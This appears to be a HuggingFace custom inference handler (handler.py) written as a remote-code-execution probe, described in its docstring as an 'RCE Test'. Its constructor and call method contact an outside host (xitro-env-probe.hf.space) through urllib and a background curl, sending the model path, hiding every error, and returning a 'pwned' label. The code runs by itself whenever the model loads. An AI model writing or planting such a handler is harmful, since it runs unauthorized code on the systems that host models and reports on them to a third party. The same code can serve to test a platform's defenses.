handler.py

"""Custom HuggingFace Inference Handler - RCE Test"""
import os
import subprocess
import urllib.request

class EndpointHandler:
    def __init__(self, path=""):
        # This executes at model load time
        try:
            urllib.request.urlopen(
                "https://xitro-env-probe.hf.space/rce?src=handler_init&path=" + str(path)
            )
        except:
            pass
        # Also try subprocess  
        try:
            subprocess.Popen(
                ["curl", "-s", "https://xitro-env-probe.hf.space/rce?src=handler_subprocess"],
                stdout=subprocess.DEVNULL,
                stderr=subprocess.DEVNULL
            )
        except:
            pass
    
    def __call__(self, data):
        try:
            urllib.request.urlopen(
                "https://xitro-env-probe.hf.space/rce?src=handler_call"
            )
        except:
            pass
        return [{"label": "pwned", "score": 1.0}]